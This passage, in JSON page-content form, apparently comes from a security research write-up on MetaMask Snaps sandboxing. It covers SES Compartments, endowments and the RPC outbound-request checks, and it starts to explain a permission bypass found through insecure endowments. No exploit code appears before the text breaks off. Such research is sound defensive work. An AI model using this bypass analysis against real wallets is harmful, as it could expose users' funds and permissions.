",{"type":21,"tag":78,"props":40288,"children":40290},{"className":40289},[],[40291],{"type":26,"value":40292},"harden()",{"type":26,"value":40294}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":21,"tag":21591,"props":40296,"children":40298},{"id":40297},"setting-up-snaps-execution-env",[40299],{"type":26,"value":40300},"Setting up Snaps Execution Env",{"type":21,"tag":22,"props":40302,"children":40303},{},[40304],{"type":26,"value":40305},"When starting a snap, the setup follows these steps:",{"type":21,"tag":126,"props":40307,"children":40308},{},[40309],{"type":21,"tag":91,"props":40310,"children":40311},{},[40312],{"type":21,"tag":8055,"props":40313,"children":40314},{},[40315,40317],{"type":26,"value":40316},"Create endowments based on snap ",{"type":21,"tag":29,"props":40318,"children":40321},{"href":40319,"rel":40320},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[33],[40322],{"type":26,"value":40323},"permissions",{"type":21,"tag":143,"props":40325,"children":40327},{"className":38307,"code":40326,"language":38309,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[40328],{"type":21,"tag":78,"props":40329,"children":40330},{"__ignoreMap":7},[40331,40381,40393,40404,40416,40428],{"type":21,"tag":153,"props":40332,"children":40333},{"class":155,"line":156},[40334,40338,40342,40346,40350,40355,40359,40364,40368,40372,40377],{"type":21,"tag":153,"props":40335,"children":40336},{"style":170},[40337],{"type":26,"value":5085},{"type":21,"tag":153,"props":40339,"children":40340},{"style":160},[40341],{"type":26,"value":12308},{"type":21,"tag":153,"props":40343,"children":40344},{"style":192},[40345],{"type":26,"value":40260},{"type":21,"tag":153,"props":40347,"children":40348},{"style":160},[40349],{"type":26,"value":1670},{"type":21,"tag":153,"props":40351,"children":40352},{"style":192},[40353],{"type":26,"value":40354},"teardown",{"type":21,"tag":153,"props":40356,"children":40357},{"style":160},[40358],{"type":26,"value":18031},{"type":21,"tag":153,"props":40360,"children":40361},{"style":192},[40362],{"type":26,"value":40363},"endowmentTeardown",{"type":21,"tag":153,"props":40365,"children":40366},{"style":160},[40367],{"type":26,"value":38895},{"type":21,"tag":153,"props":40369,"children":40370},{"style":198},[40371],{"type":26,"value":2367},{"type":21,"tag":153,"props":40373,"children":40374},{"style":181},[40375],{"type":26,"value":40376}," createEndowments",{"type":21,"tag":153,"props":40378,"children":40379},{"style":160},[40380],{"type":26,"value":773},{"type":21,"tag":153,"props":40382,"children":40383},{"class":155,"line":166},[40384,40389],{"type":21,"tag":153,"props":40385,"children":40386},{"style":192},[40387],{"type":26,"value":40388},"    snap",{"type":21,"tag":153,"props":40390,"children":40391},{"style":160},[40392],{"type":26,"value":792},{"type":21,"tag":153,"props":40394,"children":40395},{"class":155,"line":225},[40396,40400],{"type":21,"tag":153,"props":40397,"children":40398},{"style":192},[40399],{"type":26,"value":34179},{"type":21,"tag":153,"props":40401,"children":40402},{"style":160},[40403],{"type":26,"value":792},{"type":21,"tag":153,"props":40405,"children":40406},{"class":155,"line":239},[40407,40412],{"type":21,"tag":153,"props":40408,"children":40409},{"style":192},[40410],{"type":26,"value":40411},"    snapId",{"type":21,"tag":153,"props":40413,"children":40414},{"style":160},[40415],{"type":26,"value":792},{"type":21,"tag":153,"props":40417,"children":40418},{"class":155,"line":382},[40419,40424],{"type":21,"tag":153,"props":40420,"children":40421},{"style":192},[40422],{"type":26,"value":40423},"    _endowments",{"type":21,"tag":153,"props":40425,"children":40426},{"style":160},[40427],{"type":26,"value":792},{"type":21,"tag":153,"props":40429,"children":40430},{"class":155,"line":501},[40431],{"type":21,"tag":153,"props":40432,"children":40433},{"style":160},[40434],{"type":26,"value":530},{"type":21,"tag":22,"props":40436,"children":40437},{},[40438],{"type":26,"value":40439},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":21,"tag":22,"props":40441,"children":40442},{},[40443,40445,40451,40453,40459],{"type":26,"value":40444},"One clear example is the ",{"type":21,"tag":78,"props":40446,"children":40448},{"className":40447},[],[40449],{"type":26,"value":40450},"endowment:network-access",{"type":26,"value":40452}," permission, that adds the ",{"type":21,"tag":78,"props":40454,"children":40456},{"className":40455},[],[40457],{"type":26,"value":40458},"fetch()",{"type":26,"value":40460}," function to the endowments.",{"type":21,"tag":22,"props":40462,"children":40463},{},[40464,40466,40472],{"type":26,"value":40465},"All endowments are protected with the ",{"type":21,"tag":78,"props":40467,"children":40469},{"className":40468},[],[40470],{"type":26,"value":40471},"harden",{"type":26,"value":40473}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":21,"tag":126,"props":40475,"children":40476},{"start":166},[40477],{"type":21,"tag":91,"props":40478,"children":40479},{},[40480],{"type":21,"tag":8055,"props":40481,"children":40482},{},[40483,40485],{"type":26,"value":40484},"Create the snap ",{"type":21,"tag":29,"props":40486,"children":40489},{"href":40487,"rel":40488},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[33],[40490],{"type":26,"value":40096},{"type":21,"tag":143,"props":40492,"children":40494},{"className":38307,"code":40493,"language":38309,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[40495],{"type":21,"tag":78,"props":40496,"children":40497},{"__ignoreMap":7},[40498,40526,40542,40559,40584],{"type":21,"tag":153,"props":40499,"children":40500},{"class":155,"line":156},[40501,40505,40510,40514,40518,40522],{"type":21,"tag":153,"props":40502,"children":40503},{"style":170},[40504],{"type":26,"value":5085},{"type":21,"tag":153,"props":40506,"children":40507},{"style":192},[40508],{"type":26,"value":40509}," compartment",{"type":21,"tag":153,"props":40511,"children":40512},{"style":198},[40513],{"type":26,"value":255},{"type":21,"tag":153,"props":40515,"children":40516},{"style":170},[40517],{"type":26,"value":34627},{"type":21,"tag":153,"props":40519,"children":40520},{"style":181},[40521],{"type":26,"value":40151},{"type":21,"tag":153,"props":40523,"children":40524},{"style":160},[40525],{"type":26,"value":17840},{"type":21,"tag":153,"props":40527,"children":40528},{"class":155,"line":166},[40529,40534,40538],{"type":21,"tag":153,"props":40530,"children":40531},{"style":198},[40532],{"type":26,"value":40533},"    ...",{"type":21,"tag":153,"props":40535,"children":40536},{"style":192},[40537],{"type":26,"value":40260},{"type":21,"tag":153,"props":40539,"children":40540},{"style":160},[40541],{"type":26,"value":792},{"type":21,"tag":153,"props":40543,"children":40544},{"class":155,"line":225},[40545,40550,40555],{"type":21,"tag":153,"props":40546,"children":40547},{"style":192},[40548],{"type":26,"value":40549},"    module:",{"type":21,"tag":153,"props":40551,"children":40552},{"style":192},[40553],{"type":26,"value":40554}," snapModule",{"type":21,"tag":153,"props":40556,"children":40557},{"style":160},[40558],{"type":26,"value":792},{"type":21,"tag":153,"props":40560,"children":40561},{"class":155,"line":239},[40562,40567,40571,40575,40580],{"type":21,"tag":153,"props":40563,"children":40564},{"style":192},[40565],{"type":26,"value":40566},"    exports:",{"type":21,"tag":153,"props":40568,"children":40569},{"style":192},[40570],{"type":26,"value":40554},{"type":21,"tag":153,"props":40572,"children":40573},{"style":160},[40574],{"type":26,"value":355},{"type":21,"tag":153,"props":40576,"children":40577},{"style":192},[40578],{"type":26,"value":40579},"exports",{"type":21,"tag":153,"props":40581,"children":40582},{"style":160},[40583],{"type":26,"value":792},{"type":21,"tag":153,"props":40585,"children":40586},{"class":155,"line":382},[40587],{"type":21,"tag":153,"props":40588,"children":40589},{"style":160},[40590],{"type":26,"value":38031},{"type":21,"tag":22,"props":40592,"children":40593},{},[40594,40596,40602,40603,40608,40610,40615],{"type":26,"value":40595},"Note: ",{"type":21,"tag":78,"props":40597,"children":40599},{"className":40598},[],[40600],{"type":26,"value":40601},"module",{"type":26,"value":52},{"type":21,"tag":78,"props":40604,"children":40606},{"className":40605},[],[40607],{"type":26,"value":40579},{"type":26,"value":40609}," are passed as endowments, but without being ",{"type":21,"tag":5302,"props":40611,"children":40612},{},[40613],{"type":26,"value":40614},"hardened",{"type":26,"value":40616},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":21,"tag":126,"props":40618,"children":40619},{"start":225},[40620],{"type":21,"tag":91,"props":40621,"children":40622},{},[40623],{"type":21,"tag":8055,"props":40624,"children":40625},{},[40626,40628],{"type":26,"value":40627},"Evaluate the snap code inside the ",{"type":21,"tag":29,"props":40629,"children":40632},{"href":40630,"rel":40631},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[33],[40633],{"type":26,"value":40096},{"type":21,"tag":143,"props":40635,"children":40637},{"className":38307,"code":40636,"language":38309,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[40638],{"type":21,"tag":78,"props":40639,"children":40640},{"__ignoreMap":7},[40641,40682,40712,40749],{"type":21,"tag":153,"props":40642,"children":40643},{"class":155,"line":156},[40644,40648,40652,40656,40661,40665,40669,40674,40678],{"type":21,"tag":153,"props":40645,"children":40646},{"style":1751},[40647],{"type":26,"value":1754},{"type":21,"tag":153,"props":40649,"children":40650},{"style":170},[40651],{"type":26,"value":38409},{"type":21,"tag":153,"props":40653,"children":40654},{"style":160},[40655],{"type":26,"value":355},{"type":21,"tag":153,"props":40657,"children":40658},{"style":181},[40659],{"type":26,"value":40660},"executeInSnapContext",{"type":21,"tag":153,"props":40662,"children":40663},{"style":160},[40664],{"type":26,"value":189},{"type":21,"tag":153,"props":40666,"children":40667},{"style":192},[40668],{"type":26,"value":38713},{"type":21,"tag":153,"props":40670,"children":40671},{"style":160},[40672],{"type":26,"value":40673},", () ",{"type":21,"tag":153,"props":40675,"children":40676},{"style":170},[40677],{"type":26,"value":17524},{"type":21,"tag":153,"props":40679,"children":40680},{"style":160},[40681],{"type":26,"value":236},{"type":21,"tag":153,"props":40683,"children":40684},{"class":155,"line":166},[40685,40690,40694,40699,40703,40708],{"type":21,"tag":153,"props":40686,"children":40687},{"style":192},[40688],{"type":26,"value":40689},"    compartment",{"type":21,"tag":153,"props":40691,"children":40692},{"style":160},[40693],{"type":26,"value":355},{"type":21,"tag":153,"props":40695,"children":40696},{"style":181},[40697],{"type":26,"value":40698},"evaluate",{"type":21,"tag":153,"props":40700,"children":40701},{"style":160},[40702],{"type":26,"value":189},{"type":21,"tag":153,"props":40704,"children":40705},{"style":192},[40706],{"type":26,"value":40707},"sourceCode",{"type":21,"tag":153,"props":40709,"children":40710},{"style":160},[40711],{"type":26,"value":530},{"type":21,"tag":153,"props":40713,"children":40714},{"class":155,"line":225},[40715,40719,40723,40728,40732,40736,40740,40745],{"type":21,"tag":153,"props":40716,"children":40717},{"style":170},[40718],{"type":26,"value":38757},{"type":21,"tag":153,"props":40720,"children":40721},{"style":160},[40722],{"type":26,"value":355},{"type":21,"tag":153,"props":40724,"children":40725},{"style":181},[40726],{"type":26,"value":40727},"registerSnapExports",{"type":21,"tag":153,"props":40729,"children":40730},{"style":160},[40731],{"type":26,"value":189},{"type":21,"tag":153,"props":40733,"children":40734},{"style":192},[40735],{"type":26,"value":38713},{"type":21,"tag":153,"props":40737,"children":40738},{"style":160},[40739],{"type":26,"value":1670},{"type":21,"tag":153,"props":40741,"children":40742},{"style":192},[40743],{"type":26,"value":40744},"snapModule",{"type":21,"tag":153,"props":40746,"children":40747},{"style":160},[40748],{"type":26,"value":530},{"type":21,"tag":153,"props":40750,"children":40751},{"class":155,"line":239},[40752],{"type":21,"tag":153,"props":40753,"children":40754},{"style":160},[40755],{"type":26,"value":38031},{"type":21,"tag":22,"props":40757,"children":40758},{},[40759,40761,40767,40768,40774,40775,40781],{"type":26,"value":40760},"According to the documentation, the snap must contain one of the following function exports: ",{"type":21,"tag":78,"props":40762,"children":40764},{"className":40763},[],[40765],{"type":26,"value":40766},"onRpcRequest",{"type":26,"value":1670},{"type":21,"tag":78,"props":40769,"children":40771},{"className":40770},[],[40772],{"type":26,"value":40773},"onTransaction",{"type":26,"value":15851},{"type":21,"tag":78,"props":40776,"children":40778},{"className":40777},[],[40779],{"type":26,"value":40780},"onCronjob",{"type":26,"value":355},{"type":21,"tag":22,"props":40783,"children":40784},{},[40785,40787,40792],{"type":26,"value":40786},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":21,"tag":78,"props":40788,"children":40790},{"className":40789},[],[40791],{"type":26,"value":40110},{"type":26,"value":40793}," environment of that Compartment.",{"type":21,"tag":22,"props":40795,"children":40796},{},[40797],{"type":26,"value":40798},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":21,"tag":66,"props":40800,"children":40802},{"id":40801},"vulnerability-research",[40803],{"type":26,"value":40804},"Vulnerability research",{"type":21,"tag":114,"props":40806,"children":40808},{"id":40807},"possible-attacks",[40809],{"type":26,"value":40810},"Possible attacks",{"type":21,"tag":22,"props":40812,"children":40813},{},[40814],{"type":26,"value":40815},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":21,"tag":87,"props":40817,"children":40818},{},[40819,40824,40829,40834],{"type":21,"tag":91,"props":40820,"children":40821},{},[40822],{"type":26,"value":40823},"Broken SES Container isolation",{"type":21,"tag":91,"props":40825,"children":40826},{},[40827],{"type":26,"value":40828},"Insecure endowments in Containers",{"type":21,"tag":91,"props":40830,"children":40831},{},[40832],{"type":26,"value":40833},"Incorrect RPC permission checks",{"type":21,"tag":91,"props":40835,"children":40836},{},[40837],{"type":26,"value":40838},"Insecure snap installation/update",{"type":21,"tag":22,"props":40840,"children":40841},{},[40842],{"type":26,"value":40843},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":21,"tag":22,"props":40845,"children":40846},{},[40847],{"type":26,"value":40848},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":21,"tag":114,"props":40850,"children":40852},{"id":40851},"rpc-interfaces-endowments",[40853],{"type":26,"value":40854},"RPC interfaces endowments",{"type":21,"tag":21591,"props":40856,"children":40858},{"id":40857},"providers-limitations",[40859],{"type":26,"value":40860},"Providers limitations",{"type":21,"tag":22,"props":40862,"children":40863},{},[40864,40866,40872,40873,40878,40880,40887],{"type":26,"value":40865},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":21,"tag":78,"props":40867,"children":40869},{"className":40868},[],[40870],{"type":26,"value":40871},"snap",{"type":26,"value":52},{"type":21,"tag":78,"props":40874,"children":40876},{"className":40875},[],[40877],{"type":26,"value":34112},{"type":26,"value":40879}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":21,"tag":29,"props":40881,"children":40884},{"href":40882,"rel":40883},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[33],[40885],{"type":26,"value":40886},"methods",{"type":26,"value":201},{"type":21,"tag":143,"props":40889,"children":40891},{"className":38307,"code":40890,"language":38309,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[40892],{"type":21,"tag":78,"props":40893,"children":40894},{"__ignoreMap":7},[40895,40935,40943,40955,41024,41085,41097,41105,41116,41156,41186,41198,41223,41230,41238,41245,41283],{"type":21,"tag":153,"props":40896,"children":40897},{"class":155,"line":156},[40898,40903,40908,40913,40917,40922,40926,40931],{"type":21,"tag":153,"props":40899,"children":40900},{"style":1751},[40901],{"type":26,"value":40902},"export",{"type":21,"tag":153,"props":40904,"children":40905},{"style":170},[40906],{"type":26,"value":40907}," function",{"type":21,"tag":153,"props":40909,"children":40910},{"style":181},[40911],{"type":26,"value":40912}," assertSnapOutboundRequest",{"type":21,"tag":153,"props":40914,"children":40915},{"style":160},[40916],{"type":26,"value":189},{"type":21,"tag":153,"props":40918,"children":40919},{"style":192},[40920],{"type":26,"value":40921},"args",{"type":21,"tag":153,"props":40923,"children":40924},{"style":198},[40925],{"type":26,"value":201},{"type":21,"tag":153,"props":40927,"children":40928},{"style":214},[40929],{"type":26,"value":40930}," RequestArguments",{"type":21,"tag":153,"props":40932,"children":40933},{"style":160},[40934],{"type":26,"value":2659},{"type":21,"tag":153,"props":40936,"children":40937},{"class":155,"line":166},[40938],{"type":21,"tag":153,"props":40939,"children":40940},{"style":3050},[40941],{"type":26,"value":40942},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":21,"tag":153,"props":40944,"children":40945},{"class":155,"line":225},[40946,40951],{"type":21,"tag":153,"props":40947,"children":40948},{"style":181},[40949],{"type":26,"value":40950},"  assert",{"type":21,"tag":153,"props":40952,"children":40953},{"style":160},[40954],{"type":26,"value":773},{"type":21,"tag":153,"props":40956,"children":40957},{"class":155,"line":239},[40958,40963,40967,40972,40976,40981,40985,40989,40993,40997,41001,41006,41010,41015,41019],{"type":21,"tag":153,"props":40959,"children":40960},{"style":214},[40961],{"type":26,"value":40962},"    String",{"type":21,"tag":153,"props":40964,"children":40965},{"style":160},[40966],{"type":26,"value":355},{"type":21,"tag":153,"props":40968,"children":40969},{"style":192},[40970],{"type":26,"value":40971},"prototype",{"type":21,"tag":153,"props":40973,"children":40974},{"style":160},[40975],{"type":26,"value":355},{"type":21,"tag":153,"props":40977,"children":40978},{"style":192},[40979],{"type":26,"value":40980},"startsWith",{"type":21,"tag":153,"props":40982,"children":40983},{"style":160},[40984],{"type":26,"value":355},{"type":21,"tag":153,"props":40986,"children":40987},{"style":181},[40988],{"type":26,"value":3784},{"type":21,"tag":153,"props":40990,"children":40991},{"style":160},[40992],{"type":26,"value":189},{"type":21,"tag":153,"props":40994,"children":40995},{"style":192},[40996],{"type":26,"value":40921},{"type":21,"tag":153,"props":40998,"children":40999},{"style":160},[41000],{"type":26,"value":355},{"type":21,"tag":153,"props":41002,"children":41003},{"style":192},[41004],{"type":26,"value":41005},"method",{"type":21,"tag":153,"props":41007,"children":41008},{"style":160},[41009],{"type":26,"value":1670},{"type":21,"tag":153,"props":41011,"children":41012},{"style":671},[41013],{"type":26,"value":41014},"'wallet_'",{"type":21,"tag":153,"props":41016,"children":41017},{"style":160},[41018],{"type":26,"value":2362},{"type":21,"tag":153,"props":41020,"children":41021},{"style":198},[41022],{"type":26,"value":41023},"||\n",{"type":21,"tag":153,"props":41025,"children":41026},{"class":155,"line":382},[41027,41032,41036,41040,41044,41048,41052,41056,41060,41064,41068,41072,41076,41081],{"type":21,"tag":153,"props":41028,"children":41029},{"style":214},[41030],{"type":26,"value":41031},"      String",{"type":21,"tag":153,"props":41033,"children":41034},{"style":160},[41035],{"type":26,"value":355},{"type":21,"tag":153,"props":41037,"children":41038},{"style":192},[41039],{"type":26,"value":40971},{"type":21,"tag":153,"props":41041,"children":41042},{"style":160},[41043],{"type":26,"value":355},{"type":21,"tag":153,"props":41045,"children":41046},{"style":192},[41047],{"type":26,"value":40980},{"type":21,"tag":153,"props":41049,"children":41050},{"style":160},[41051],{"type":26,"value":355},{"type":21,"tag":153,"props":41053,"children":41054},{"style":181},[41055],{"type":26,"value":3784},{"type":21,"tag":153,"props":41057,"children":41058},{"style":160},[41059],{"type":26,"value":189},{"type":21,"tag":153,"props":41061,"children":41062},{"style":192},[41063],{"type":26,"value":40921},{"type":21,"tag":153,"props":41065,"children":41066},{"style":160},[41067],{"type":26,"value":355},{"type":21,"tag":153,"props":41069,"children":41070},{"style":192},[41071],{"type":26,"value":41005},{"type":21,"tag":153,"props":41073,"children":41074},{"style":160},[41075],{"type":26,"value":1670},{"type":21,"tag":153,"props":41077,"children":41078},{"style":671},[41079],{"type":26,"value":41080},"'snap_'",{"type":21,"tag":153,"props":41082,"children":41083},{"style":160},[41084],{"type":26,"value":679},{"type":21,"tag":153,"props":41086,"children":41087},{"class":155,"line":501},[41088,41093],{"type":21,"tag":153,"props":41089,"children":41090},{"style":671},[41091],{"type":26,"value":41092},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":21,"tag":153,"props":41094,"children":41095},{"style":160},[41096],{"type":26,"value":792},{"type":21,"tag":153,"props":41098,"children":41099},{"class":155,"line":533},[41100],{"type":21,"tag":153,"props":41101,"children":41102},{"style":160},[41103],{"type":26,"value":41104},"  );\n",{"type":21,"tag":153,"props":41106,"children":41107},{"class":155,"line":542},[41108,41112],{"type":21,"tag":153,"props":41109,"children":41110},{"style":181},[41111],{"type":26,"value":40950},{"type":21,"tag":153,"props":41113,"children":41114},{"style":160},[41115],{"type":26,"value":773},{"type":21,"tag":153,"props":41117,"children":41118},{"class":155,"line":762},[41119,41123,41128,41132,41136,41140,41144,41148,41152],{"type":21,"tag":153,"props":41120,"children":41121},{"style":198},[41122],{"type":26,"value":23663},{"type":21,"tag":153,"props":41124,"children":41125},{"style":192},[41126],{"type":26,"value":41127},"BLOCKED_RPC_METHODS",{"type":21,"tag":153,"props":41129,"children":41130},{"style":160},[41131],{"type":26,"value":355},{"type":21,"tag":153,"props":41133,"children":41134},{"style":181},[41135],{"type":26,"value":37874},{"type":21,"tag":153,"props":41137,"children":41138},{"style":160},[41139],{"type":26,"value":189},{"type":21,"tag":153,"props":41141,"children":41142},{"style":192},[41143],{"type":26,"value":40921},{"type":21,"tag":153,"props":41145,"children":41146},{"style":160},[41147],{"type":26,"value":355},{"type":21,"tag":153,"props":41149,"children":41150},{"style":192},[41151],{"type":26,"value":41005},{"type":21,"tag":153,"props":41153,"children":41154},{"style":160},[41155],{"type":26,"value":679},{"type":21,"tag":153,"props":41157,"children":41158},{"class":155,"line":776},[41159,41164,41168,41173,41177,41182],{"type":21,"tag":153,"props":41160,"children":41161},{"style":192},[41162],{"type":26,"value":41163},"    ethErrors",{"type":21,"tag":153,"props":41165,"children":41166},{"style":160},[41167],{"type":26,"value":355},{"type":21,"tag":153,"props":41169,"children":41170},{"style":192},[41171],{"type":26,"value":41172},"rpc",{"type":21,"tag":153,"props":41174,"children":41175},{"style":160},[41176],{"type":26,"value":355},{"type":21,"tag":153,"props":41178,"children":41179},{"style":181},[41180],{"type":26,"value":41181},"methodNotFound",{"type":21,"tag":153,"props":41183,"children":41184},{"style":160},[41185],{"type":26,"value":17840},{"type":21,"tag":153,"props":41187,"children":41188},{"class":155,"line":795},[41189,41194],{"type":21,"tag":153,"props":41190,"children":41191},{"style":192},[41192],{"type":26,"value":41193},"      data:",{"type":21,"tag":153,"props":41195,"children":41196},{"style":160},[41197],{"type":26,"value":236},{"type":21,"tag":153,"props":41199,"children":41200},{"class":155,"line":808},[41201,41206,41211,41215,41219],{"type":21,"tag":153,"props":41202,"children":41203},{"style":192},[41204],{"type":26,"value":41205},"        method:",{"type":21,"tag":153,"props":41207,"children":41208},{"style":192},[41209],{"type":26,"value":41210}," args",{"type":21,"tag":153,"props":41212,"children":41213},{"style":160},[41214],{"type":26,"value":355},{"type":21,"tag":153,"props":41216,"children":41217},{"style":192},[41218],{"type":26,"value":41005},{"type":21,"tag":153,"props":41220,"children":41221},{"style":160},[41222],{"type":26,"value":792},{"type":21,"tag":153,"props":41224,"children":41225},{"class":155,"line":820},[41226],{"type":21,"tag":153,"props":41227,"children":41228},{"style":160},[41229],{"type":26,"value":39892},{"type":21,"tag":153,"props":41231,"children":41232},{"class":155,"line":842},[41233],{"type":21,"tag":153,"props":41234,"children":41235},{"style":160},[41236],{"type":26,"value":41237},"    }),\n",{"type":21,"tag":153,"props":41239,"children":41240},{"class":155,"line":3204},[41241],{"type":21,"tag":153,"props":41242,"children":41243},{"style":160},[41244],{"type":26,"value":41104},{"type":21,"tag":153,"props":41246,"children":41247},{"class":155,"line":3230},[41248,41253,41257,41261,41265,41270,41274,41279],{"type":21,"tag":153,"props":41249,"children":41250},{"style":181},[41251],{"type":26,"value":41252},"  assertStruct",{"type":21,"tag":153,"props":41254,"children":41255},{"style":160},[41256],{"type":26,"value":189},{"type":21,"tag":153,"props":41258,"children":41259},{"style":192},[41260],{"type":26,"value":40921},{"type":21,"tag":153,"props":41262,"children":41263},{"style":160},[41264],{"type":26,"value":1670},{"type":21,"tag":153,"props":41266,"children":41267},{"style":192},[41268],{"type":26,"value":41269},"JsonStruct",{"type":21,"tag":153,"props":41271,"children":41272},{"style":160},[41273],{"type":26,"value":1670},{"type":21,"tag":153,"props":41275,"children":41276},{"style":671},[41277],{"type":26,"value":41278},"'Provided value is not JSON-RPC compatible'",{"type":21,"tag":153,"props":41280,"children":41281},{"style":160},[41282],{"type":26,"value":530},{"type":21,"tag":153,"props":41284,"children":41285},{"class":155,"line":3239},[41286],{"type":21,"tag":153,"props":41287,"children":41288},{"style":160},[41289],{"type":26,"value":548},{"type":21,"tag":22,"props":41291,"children":41292},{},[41293,41295,41300,41302,41308,41309,41315],{"type":26,"value":41294},"This function is called by the ",{"type":21,"tag":78,"props":41296,"children":41298},{"className":41297},[],[41299],{"type":26,"value":40871},{"type":26,"value":41301}," RPC provider, so it can only send methods starting with ",{"type":21,"tag":78,"props":41303,"children":41305},{"className":41304},[],[41306],{"type":26,"value":41307},"wallet_",{"type":26,"value":15851},{"type":21,"tag":78,"props":41310,"children":41312},{"className":41311},[],[41313],{"type":26,"value":41314},"snap_",{"type":26,"value":41316},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":21,"tag":22,"props":41318,"children":41319},{},[41320,41322,41327,41329,41334,41336,41342],{"type":26,"value":41321},"On the other hand, the ",{"type":21,"tag":78,"props":41323,"children":41325},{"className":41324},[],[41326],{"type":26,"value":34112},{"type":26,"value":41328}," provider only blocks methods starting with ",{"type":21,"tag":78,"props":41330,"children":41332},{"className":41331},[],[41333],{"type":26,"value":41314},{"type":26,"value":41335}," and the blocked methods. However, it requires the ",{"type":21,"tag":78,"props":41337,"children":41339},{"className":41338},[],[41340],{"type":26,"value":41341},"endowment:ethereum-provider",{"type":26,"value":41343}," permission in the snap manifest.",{"type":21,"tag":21591,"props":41345,"children":41347},{"id":41346},"execution-flow",[41348],{"type":26,"value":41349},"Execution flow",{"type":21,"tag":22,"props":41351,"children":41352},{},[41353,41355,41360,41361,41366,41368,41373,41374,41380],{"type":26,"value":41354},"Both providers (",{"type":21,"tag":78,"props":41356,"children":41358},{"className":41357},[],[41359],{"type":26,"value":40871},{"type":26,"value":52},{"type":21,"tag":78,"props":41362,"children":41364},{"className":41363},[],[41365],{"type":26,"value":34112},{"type":26,"value":41367},") are built outside the SES container with a ",{"type":21,"tag":78,"props":41369,"children":41371},{"className":41370},[],[41372],{"type":26,"value":34188},{"type":26,"value":9187},{"type":21,"tag":29,"props":41375,"children":41378},{"href":41376,"rel":41377},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[33],[41379],{"type":26,"value":34072},{"type":26,"value":201},{"type":21,"tag":143,"props":41382,"children":41384},{"className":38623,"code":41383,"language":38625,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[41385],{"type":21,"tag":78,"props":41386,"children":41387},{"__ignoreMap":7},[41388,41435,41460,41493,41528,41540,41560,41598,41618,41625,41642,41675,41682],{"type":21,"tag":153,"props":41389,"children":41390},{"class":155,"line":156},[41391,41395,41399,41403,41407,41411,41415,41419,41423,41427,41431],{"type":21,"tag":153,"props":41392,"children":41393},{"style":170},[41394],{"type":26,"value":38881},{"type":21,"tag":153,"props":41396,"children":41397},{"style":181},[41398],{"type":26,"value":34077},{"type":21,"tag":153,"props":41400,"children":41401},{"style":198},[41402],{"type":26,"value":255},{"type":21,"tag":153,"props":41404,"children":41405},{"style":170},[41406],{"type":26,"value":39058},{"type":21,"tag":153,"props":41408,"children":41409},{"style":160},[41410],{"type":26,"value":5820},{"type":21,"tag":153,"props":41412,"children":41413},{"style":192},[41414],{"type":26,"value":40921},{"type":21,"tag":153,"props":41416,"children":41417},{"style":198},[41418],{"type":26,"value":201},{"type":21,"tag":153,"props":41420,"children":41421},{"style":214},[41422],{"type":26,"value":40930},{"type":21,"tag":153,"props":41424,"children":41425},{"style":160},[41426],{"type":26,"value":2362},{"type":21,"tag":153,"props":41428,"children":41429},{"style":170},[41430],{"type":26,"value":17524},{"type":21,"tag":153,"props":41432,"children":41433},{"style":160},[41434],{"type":26,"value":236},{"type":21,"tag":153,"props":41436,"children":41437},{"class":155,"line":166},[41438,41443,41447,41451,41455],{"type":21,"tag":153,"props":41439,"children":41440},{"style":181},[41441],{"type":26,"value":41442},"      